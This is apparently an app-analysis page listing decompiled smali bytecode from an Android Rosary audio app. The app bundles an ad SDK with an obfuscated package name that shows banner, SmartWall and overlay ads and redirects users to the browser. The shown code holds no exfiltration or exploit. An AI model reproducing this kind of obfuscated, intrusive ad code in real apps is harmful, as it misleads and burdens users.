40 | const-string v3, "Error occured while setting screen size." | |
42 | invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
44 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
45 | goto/16 :goto_2f |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "jsonObject" # Lorg/json/JSONObject; | |
1 | .prologue | |
2 | try_start_0: | |
3 | const-string v2, "banner_type" | |
5 | invoke-virtual {p1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
6 | move-result-object v0 | |
8 | invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->resizeBanner(Ljava/lang/String;)V | |
9 | new-instance v2, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
11 | invoke-direct {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;-><init>()V | |
12 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
14 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
16 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
17 | move-result-object v3 | |
19 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
21 | invoke-virtual {v2, v3, p1, v4}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isParseBannerAd(Landroid/content/Context;Lorg/json/JSONObject;Ljava/lang/String;)Z | |
22 | move-result v2 | |
23 | if-eqz v2, :cond_3f | |
25 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler; | |
26 | new-instance v3, Lcom/vxjxu/jkhfn1870/AdView$7; | |
28 | invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/AdView$7;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
30 | invoke-virtual {v2, v3}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z | |
32 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
34 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getRefreshTime()I | |
35 | move-result v2 | |
36 | if-lez v2, :cond_3f | |
38 | const-string v2, "AirplayMraid" | |
40 | const-string v3, "Refresh time changed." | |
42 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
44 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
46 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getRefreshTime()I | |
47 | move-result v2 | |
48 | iput v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
49 | cond_3f: return-void | |
50 | catch_40: move-exception v1 | |
52 | const-string v2, "AirplayMraid" | |
53 | new-instance v3, Ljava/lang/StringBuilder; | |
55 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
57 | const-string v4, "JSONExection occured while parsing Banner ad json: " | |
59 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
60 | move-result-object v3 | |
62 | invoke-virtual {v1}, Lorg/json/JSONException;->getMessage()Ljava/lang/String; | |
63 | move-result-object v4 | |
65 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
66 | move-result-object v3 | |
68 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
69 | move-result-object v3 | |
71 | invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
72 | goto/16 :goto_3f | |
73 | catch_5e: move-exception v1 | |
75 | invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V | |
76 | goto/16 :goto_3f |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "errorCode" # I | |
2 | .param p3, "description" # Ljava/lang/String; | |
3 | .param p4, "failingUrl" # Ljava/lang/String; | |
4 | .prologue | |
6 | invoke-super {p0, p1, p2, p3, p4}, Landroid/webkit/WebViewClient;->onReceivedError(Landroid/webkit/WebView;ILjava/lang/String;Ljava/lang/String;)V | |
8 | const-string v1, "AirplayMraid" | |
9 | new-instance v2, Ljava/lang/StringBuilder; | |
11 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
13 | const-string v3, "Error code: " | |
15 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
16 | move-result-object v2 | |
18 | invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
19 | move-result-object v2 | |
21 | const-string v3, " ,description: " | |
23 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
24 | move-result-object v2 | |
26 | invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
27 | move-result-object v2 | |
29 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
30 | move-result-object v2 | |
32 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
33 | try_start_25: new-instance v0, Landroid/content/Intent; | |
35 | const-string v1, "android.intent.action.VIEW" | |
37 | invoke-static {p4}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
38 | move-result-object v2 | |
40 | invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
42 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
44 | iget-object v1, v1, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
46 | invoke-virtual {v1, v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->startActivity(Landroid/content/Intent;)V | |
48 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
50 | iget-object v1, v1, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
52 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
53 | try_end_3e: return-void | |
54 | catch_3f: move-exception v1 | |
55 | goto/16 :goto_3e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | const-string v4, "AirplaySDK" | |
4 | const-string v5, "Initialising SmartWall....." | |
6 | invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
7 | sget-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z | |
8 | if-nez v4, :cond_11 | |
10 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallintegration()Z | |
11 | move-result v4 | |
12 | if-nez v4, :cond_12 | |
13 | cond_11: return-void | |
14 | cond_12: | |
15 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
16 | const-class v5, Lcom/vxjxu/jkhfn1870/VideoAdActivity; | |
18 | invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z | |
19 | move-result v1 | |
20 | if-nez v1, :cond_39 | |
22 | const-string v2, "Required VideoAdActivity not found in Manifest. Please add" | |
24 | const-string v4, "AirplaySDK" | |
26 | invoke-static {v4, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
28 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V |
|
29 | new-instance v4, Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
31 | sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
32 | const/16 v6, 0x66 | |
34 | invoke-direct {v4, v5, v6}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V | |
35 | try_end_2f: goto/16 :goto_11 | |
36 | catch_30: move-exception v3 | |
38 | const-string v4, "AirplaySDK" | |
40 | const-string v5, "Error occurred in startSmartWall method: " | |
42 | invoke-static {v4, v5, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
43 | goto/16 :goto_11 | |
44 | cond_39: | |
45 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
46 | if-eqz v4, :cond_89 | |
48 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
50 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z | |
51 | move-result v4 | |
52 | if-eqz v4, :cond_89 | |
54 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
56 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J | |
57 | move-result-wide v4 | |
59 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
60 | move-result-wide v6 | |
61 | cmp-long v4, v4, v6 | |
62 | if-lez v4, :cond_60 | |
64 | const-string v4, "AirplaySDK" | |
66 | const-string v5, "SmartWall Ad called within 10 secs. Ignoring request." | |
68 | invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
70 | const-string v4, "SmartWall Ad called within 10 secs. Ignoring request." | |
72 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
73 | goto/16 :goto_11 | |
74 | cond_60: | |
75 | invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z | |
76 | move-result v4 | |
77 | if-eqz v4, :cond_73 | |
79 | const-string v4, "AirplaySDK" | |
81 | const-string v5, "Another ad is showing on screen." | |
83 | invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
85 | const-string v4, "Another ad is showing on screen." | |
87 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
88 | goto/16 :goto_11 | |
89 | cond_73: | |
90 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
92 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
93 | new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$2; | |
95 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$2;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V | |
97 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
99 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
100 | move-result v4 | |
101 | if-eqz v4, :cond_11 | |
103 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
104 | goto/16 :goto_11 | |
105 | cond_89: | |
106 | const-string v4, "AirplaySDK" | |
108 | const-string v5, "AirPlay is disabled Please enable to recive ads." | |
110 | invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
112 | const-string v4, "AirPlay is disabled Please enable to recive ads." | |
114 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
115 | try_end_95: goto/16 :goto_11 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "url" # Ljava/lang/String; | |
2 | .prologue | |
3 | const/4 v3, 0x1 | |
5 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
7 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
8 | move-result-object v1 | |
10 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd()Z | |
11 | move-result v1 | |
12 | if-nez v1, :cond_31 | |
14 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
16 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
17 | move-result-object v1 | |
19 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd()Z | |
20 | move-result v1 | |
21 | if-nez v1, :cond_31 | |
23 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
25 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
26 | move-result-object v1 | |
28 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript()Z | |
29 | move-result v1 | |
30 | if-nez v1, :cond_31 | |
32 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
34 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
35 | move-result-object v1 | |
37 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl()Z | |
38 | move-result v1 | |
39 | if-eqz v1, :cond_6a | |
40 | cond_31: | |
41 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
43 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$100(Lcom/vxjxu/jkhfn1870/ImageBanner;)Z | |
44 | move-result v1 | |
45 | if-eqz v1, :cond_6a | |
47 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
49 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
50 | move-result-object v1 | |
52 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String; | |
53 | move-result-object v1 | |
55 | invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
56 | move-result v1 | |
57 | if-nez v1, :cond_6a | |
58 | new-instance v0, Landroid/content/Intent; | |
60 | const-string v1, "android.intent.action.VIEW" | |
62 | invoke-static {p2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
63 | move-result-object v2 | |
65 | invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
66 | const/high16 v1, 0x10000000 | |
68 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
69 | const/high16 v1, 0x800000 | |
71 | invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
73 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$context:Landroid/content/Context; | |
75 | invoke-virtual {v1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
77 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
78 | const/4 v2, 0x0 | |
80 | invoke-static {v1, v2}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$102(Lcom/vxjxu/jkhfn1870/ImageBanner;Z)Z |
|
81 | goto_69: return v3 | |
82 | cond_6a: | |
83 | invoke-virtual {p1, p2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V | |
84 | goto/16 :goto_69 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "Player" # Landroid/media/MediaPlayer; | |
1 | .prologue | |
3 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
5 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$200(Lprsolutions/rosariofacileads/Player;)Landroid/media/MediaPlayer; | |
6 | move-result-object v0 | |
8 | invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V | |
10 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
12 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$300(Lprsolutions/rosariofacileads/Player;)I | |
13 | move-result v0 | |
14 | const/16 v1, 0x50 | |
15 | if-ne v0, v1, :cond_2f | |
17 | const-string v0, "ROSARIO" | |
19 | const-string v1, "FINE" | |
21 | invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
23 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
25 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$200(Lprsolutions/rosariofacileads/Player;)Landroid/media/MediaPlayer; | |
26 | move-result-object v0 | |
28 | invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V | |
30 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
31 | const/4 v1, 0x0 | |
33 | invoke-static {v0, v1}, Lprsolutions/rosariofacileads/Player;->access$202(Lprsolutions/rosariofacileads/Player;Landroid/media/MediaPlayer;)Landroid/media/MediaPlayer; |
|
35 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
37 | invoke-virtual {v0}, Lprsolutions/rosariofacileads/Player;->finish()V | |
38 | goto_2e: return-void | |
39 | cond_2f: | |
40 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
42 | invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$308(Lprsolutions/rosariofacileads/Player;)I | |
44 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
46 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
48 | invoke-static {v1}, Lprsolutions/rosariofacileads/Player;->access$400(Lprsolutions/rosariofacileads/Player;)[I | |
49 | move-result-object v1 | |
51 | iget-object v2, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player; | |
53 | invoke-static {v2}, Lprsolutions/rosariofacileads/Player;->access$300(Lprsolutions/rosariofacileads/Player;)I | |
54 | move-result v2 | |
55 | aget v1, v1, v2 | |
57 | invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
58 | move-result-object v1 | |
60 | invoke-static {v0, v1}, Lprsolutions/rosariofacileads/Player;->access$500(Lprsolutions/rosariofacileads/Player;Ljava/lang/Integer;)V | |
61 | goto/16 :goto_2e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
1 | .end annotation | |
2 | .prologue | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
6 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
8 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
9 | move-result-object v0 | |
11 | const-string v1, "DAU" | |
13 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
14 | move-result v0 | |
15 | if-nez v0, :cond_29 | |
17 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
18 | move-result-object v0 | |
20 | const-string v1, "DCC" | |
22 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
23 | move-result v0 | |
24 | if-nez v0, :cond_29 | |
26 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
27 | move-result-object v0 | |
29 | const-string v1, "DCM" | |
31 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
32 | move-result v0 | |
33 | if-eqz v0, :cond_38 | |
34 | cond_29: | |
35 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
37 | const-string v1, "45" | |
39 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
40 | goto_30: | |
41 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
43 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
45 | invoke-virtual {v0}, Landroid/app/Activity;->finish()V | |
46 | return-void | |
47 | cond_38: | |
48 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
50 | const-string v1, "25" | |
52 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
53 | goto/16 :goto_30 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v4, Landroid/graphics/Rect; | |
3 | invoke-direct {v4}, Landroid/graphics/Rect;-><init>()V | |
5 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
6 | move-result-object v2 | |
7 | check-cast v2, Landroid/app/Activity; | |
9 | invoke-virtual {v2}, Landroid/app/Activity;->getWindow()Landroid/view/Window; | |
10 | move-result-object v5 | |
12 | invoke-virtual {v5}, Landroid/view/Window;->getDecorView()Landroid/view/View; | |
13 | move-result-object v6 | |
15 | invoke-virtual {v6, v4}, Landroid/view/View;->getWindowVisibleDisplayFrame(Landroid/graphics/Rect;)V | |
16 | iget v0, v4, Landroid/graphics/Rect;->top:I | |
17 | const v6, 0x1020002 | |
19 | invoke-virtual {v5, v6}, Landroid/view/Window;->findViewById(I)Landroid/view/View; |
|
20 | move-result-object v6 | |
22 | invoke-virtual {v6}, Landroid/view/View;->getTop()I | |
23 | move-result v3 | |
24 | sub-int v1, v3, v0 | |
25 | new-instance v6, Ljava/lang/StringBuilder; | |
27 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
29 | const-string v7, "StatusBar Height= " | |
31 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
32 | move-result-object v6 | |
34 | invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
35 | move-result-object v6 | |
37 | const-string v7, " , TitleBar Height = " | |
39 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
40 | move-result-object v6 | |
42 | invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
43 | move-result-object v6 | |
45 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
46 | move-result-object v6 | |
48 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
49 | add-int v6, v0, v1 | |
50 | return v6 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "canvas" # Landroid/graphics/Canvas; | |
1 | .prologue | |
3 | iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord; | |
5 | invoke-virtual {v5}, Lprsolutions/rosariofacileads/Player$Coord;->getX()I | |
6 | move-result v5 | |
7 | int-to-float v5, v5 | |
9 | iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
11 | iget-object v6, v6, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics; | |
12 | iget v6, v6, Landroid/util/DisplayMetrics;->density:F | |
13 | mul-float/2addr v5, v6 | |
14 | float-to-int v2, v5 | |
16 | iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord; | |
18 | invoke-virtual {v5}, Lprsolutions/rosariofacileads/Player$Coord;->getX()I | |
19 | move-result v5 | |
21 | invoke-static {}, Lprsolutions/rosariofacileads/Player;->access$000()I | |
22 | move-result v6 | |
23 | add-int/2addr v5, v6 | |
24 | int-to-float v5, v5 | |
26 | iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
28 | iget-object v6, v6, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics; | |
29 | iget v6, v6, Landroid/util/DisplayMetrics;->density:F | |
30 | mul-float/2addr v5, v6 | |
31 | float-to-int v3, v5 | |
33 | iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord; | |
35 | invoke-virtual {v5}, Lprsolutions/rosariofacileads/Player$Coord;->getY()I | |
36 | move-result v5 | |
37 | int-to-float v5, v5 | |
39 | iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
41 | iget-object v6, v6, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics; | |
42 | iget v6, v6, Landroid/util/DisplayMetrics;->density:F | |
43 | mul-float/2addr v5, v6 | |
44 | float-to-int v4, v5 | |
46 | iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord; | |
48 | invoke-virtual {v5}, Lprsolutions/rosariofacileads/Player$Coord;->getY()I | |
49 | move-result v5 | |
51 | invoke-static {}, Lprsolutions/rosariofacileads/Player;->access$000()I | |
52 | move-result v6 | |
53 | add-int/2addr v5, v6 | |
54 | int-to-float v5, v5 | |
56 | iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
58 | iget-object v6, v6, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics; | |
59 | iget v6, v6, Landroid/util/DisplayMetrics;->density:F | |
60 | mul-float/2addr v5, v6 | |
61 | float-to-int v0, v5 | |
62 | add-int/lit8 v2, v2, 0x0 | |
63 | add-int/lit8 v3, v3, 0x0 | |
65 | iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
67 | invoke-static {v5}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView; | |
68 | move-result-object v5 | |
70 | invoke-virtual {v5}, Landroid/widget/ImageView;->getTop()I | |
71 | move-result v5 | |
73 | iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
75 | invoke-static {v6}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView; | |
76 | move-result-object v6 | |
